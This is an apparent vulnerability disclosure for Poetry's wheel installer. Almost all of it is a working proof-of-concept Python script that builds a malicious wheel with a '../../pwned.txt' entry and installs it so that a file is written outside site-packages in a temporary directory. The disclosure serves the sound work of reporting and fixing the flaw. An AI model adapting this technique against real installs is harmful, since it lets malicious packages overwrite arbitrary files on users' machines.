Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write

from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination

root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
    d.mkdir(parents=True, exist_ok=True)

files = {
    "evil/__init__.py": b"",
    "../../pwned.txt": b"owned\n",
    "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
    "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()

with zipfile.ZipFile(wheel, "w") as z:
    for k,v in files.items(): z.writestr(k,v)

dest = WheelDestination(
    {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
    interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
    install(src, dest, {"INSTALLER": b"PoC"})

out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)